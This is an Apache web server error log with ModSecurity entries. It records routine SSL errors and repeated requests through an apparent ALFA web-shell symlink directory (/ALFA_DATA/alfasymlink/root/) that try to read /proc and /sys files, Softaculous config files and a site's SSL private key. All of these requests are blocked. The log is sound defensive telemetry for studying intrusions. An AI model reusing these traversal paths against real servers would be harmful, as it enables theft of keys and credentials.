[Sun Oct 25 08:24:53.984676 2026] [security2:error] [pid 2820367:tid 2820367] [client 43.156.41.180:58614] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at31Fa6y10zADJ0W8jUhswAAAAA"]
[Sun Oct 25 08:24:53.985640 2026] [authz_core:error] [pid 2820367:tid 2820367] [client 43.156.41.180:58614] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 08:24:54.743103 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.235.158.162:15409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:24:58.497618 2026] [core:error] [pid 2830261:tid 2830261] (13)Permission denied: [client 52.70.123.241:14322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/driver/uevent
[Sun Oct 25 08:25:06.754105 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.203.65.83:15929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:25:14.607674 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 107.20.181.148:49055] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:25:24.582100 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.204:54972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/destroy_by_rcu
[Sun Oct 25 08:25:38.732199 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.211.148.239:39666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:25:54.703564 2026] [ssl:error] [pid 2821699:tid 2821699] (5)Input/output error: [client 54.85.7.119:21349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:25:57.259201 2026] [core:error] [pid 2830261:tid 2830261] (13)Permission denied: [client 85.208.96.210:17064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/alloc_calls
[Sun Oct 25 08:25:58.840860 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.87.62.248:7725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:02.674011 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.200.58.199:41448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:06.584887 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 52.4.229.9:9315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:10.679407 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.204.174.139:60694] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:14.640827 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.44.148.203:14163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:18.811535 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 44.223.232.55:13872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:26.861240 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 44.223.116.180:24731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:34.707370 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 54.90.244.132:22110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:46.665020 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.171.117.160:60221] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:50.758374 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.233.24.238:50120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:26:54.710136 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 54.152.163.42:4040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/8250_mid/unbind
[Sun Oct 25 08:27:06.928183 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 100.25.120.246:53925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:27:10.701577 2026] [ssl:error] [pid 2822163:tid 2822163] (5)Input/output error: [client 52.3.127.170:4404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:27:16.131819 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 144.76.19.24:38974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/stack
[Sun Oct 25 08:27:18.715233 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 50.16.248.61:20232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:27:30.871869 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.205.120.22:59360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:27:34.948005 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.80.73.122:28384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:27:50.949715 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.229.164.203:5387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:27:54.771627 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 18.232.36.1:14587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:02.880589 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 54.159.18.27:34704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:10.959031 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.205.141.124:6436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:19.051792 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.163.169.168:34127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:19.560737 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.205:57066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/alloc_calls
[Sun Oct 25 08:28:21.499399 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 185.191.171.10:30798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/dmi/id/chassis_serial
[Sun Oct 25 08:28:22.894636 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.205.120.22:16950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:23.233376 2026] [security2:error] [pid 2830261:tid 2830261] [client 65.108.2.171:29056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/hablator/settings.ini"] [unique_id "at315ylnlNHXxHpyvzeTgwAAAAU"]
[Sun Oct 25 08:28:23.233947 2026] [security2:error] [pid 2830261:tid 2830261] [client 65.108.2.171:29056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/hablator/settings.ini"] [unique_id "at315ylnlNHXxHpyvzeTgwAAAAU"]
[Sun Oct 25 08:28:23.235432 2026] [security2:error] [pid 2830261:tid 2830261] [client 65.108.2.171:29056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at315ylnlNHXxHpyvzeTgwAAAAU"]
[Sun Oct 25 08:28:31.079618 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 100.24.167.60:33649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:34.959115 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 3.213.213.161:23721] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:28:59.126445 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.205.222.214:48463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:02.882639 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.210.114.189:22494] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:06.885460 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 44.206.65.8:45573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:15.525636 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.224.205.25:54002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:23.154767 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 184.72.84.154:63715] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:27.011857 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.200.251.20:54448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:31.186002 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.216.13.10:37426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:35.065569 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.227.156.153:55114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:39.251113 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 34.226.89.140:25261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:29:47.136797 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 44.221.37.41:5534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:19.115844 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.232.12.157:23509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:23.106868 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 3.222.190.107:8134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:27.437736 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 100.29.160.53:46956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:39.295158 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 54.210.152.179:35471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/new_id
[Sun Oct 25 08:30:43.548612 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 34.192.67.98:58190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:47.488926 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 18.208.11.93:62203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:54.232464 2026] [security2:error] [pid 2815602:tid 2815602] [client 65.108.2.171:8810] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/hizup/config.ini"] [unique_id "at32fty-_GHm1dX7tKN4kwAAABA"]
[Sun Oct 25 08:30:54.232905 2026] [security2:error] [pid 2815602:tid 2815602] [client 65.108.2.171:8810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/hizup/config.ini"] [unique_id "at32fty-_GHm1dX7tKN4kwAAABA"]
[Sun Oct 25 08:30:54.233950 2026] [security2:error] [pid 2815602:tid 2815602] [client 65.108.2.171:8810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at32fty-_GHm1dX7tKN4kwAAABA"]
[Sun Oct 25 08:30:55.208815 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.204.89.12:44417] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:30:59.239438 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 54.156.124.2:11032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:03.031073 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 185.191.171.19:26288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_REDIRECT/sections/__verbose
[Sun Oct 25 08:31:03.326179 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.213.70.100:40709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:07.814062 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.225.148.123:50972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:11.521593 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 34.236.135.14:2295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/new_id
[Sun Oct 25 08:31:19.296679 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 98.84.184.80:27126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:31.696100 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 34.206.249.188:35723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/QEMU0002:00/physical_node/driver/uevent
[Sun Oct 25 08:31:35.456682 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 3.93.98.99:44274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/pci-stub/bind
[Sun Oct 25 08:31:40.209082 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 18.214.251.19:22235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:47.462922 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.194.139.149:34845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:51.975386 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 3.213.106.226:28938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:31:53.628452 2026] [security2:error] [pid 2815599:tid 2815599] [client 65.108.2.171:34418] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/htmly/config.ini"] [unique_id "at32ues4DYbOWQ864oPLMgAAAAk"]
[Sun Oct 25 08:31:53.628886 2026] [security2:error] [pid 2815599:tid 2815599] [client 65.108.2.171:34418] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/htmly/config.ini"] [unique_id "at32ues4DYbOWQ864oPLMgAAAAk"]
[Sun Oct 25 08:31:53.629801 2026] [security2:error] [pid 2815599:tid 2815599] [client 65.108.2.171:34418] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at32ues4DYbOWQ864oPLMgAAAAk"]
[Sun Oct 25 08:31:55.382248 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.205.91.101:28181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:03.725389 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 184.72.95.195:37900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:07.243977 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 185.191.171.13:15878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:07.411939 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.235.191.179:32404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:11.353582 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.203.68.145:34786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:15.501275 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.80.73.122:38739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:19.139416 2026] [security2:error] [pid 2806348:tid 2806348] [client 65.108.2.171:52000] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/htmly/username.ini"] [unique_id "at320w-YVEbWS5meiuhjxAAAAAw"]
[Sun Oct 25 08:32:19.139792 2026] [security2:error] [pid 2806348:tid 2806348] [client 65.108.2.171:52000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/htmly/username.ini"] [unique_id "at320w-YVEbWS5meiuhjxAAAAAw"]
[Sun Oct 25 08:32:19.140664 2026] [security2:error] [pid 2806348:tid 2806348] [client 65.108.2.171:52000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at320w-YVEbWS5meiuhjxAAAAAw"]
[Sun Oct 25 08:32:19.468435 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 18.207.79.144:17222] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:19.937631 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.15:34680] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c10c5_f9949_235891732f4434d12dab21a9f639298c.key"] [unique_id "at3205BSQk9YSmLuOvuQDwAAAAM"]
[Sun Oct 25 08:32:19.938013 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.15:34680] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c10c5_f9949_235891732f4434d12dab21a9f639298c.key"] [unique_id "at3205BSQk9YSmLuOvuQDwAAAAM"]
[Sun Oct 25 08:32:19.938366 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.15:34680] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c10c5_f9949_235891732f4434d12dab21a9f639298c.key"] [unique_id "at3205BSQk9YSmLuOvuQDwAAAAM"]
[Sun Oct 25 08:32:23.419527 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 3.219.80.71:19735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:27.409163 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.215.61.66:30154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:31.624857 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 23.23.99.55:37165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:35.482654 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.209.174.110:42002] AH02013: coalesce failed to read from data bucket
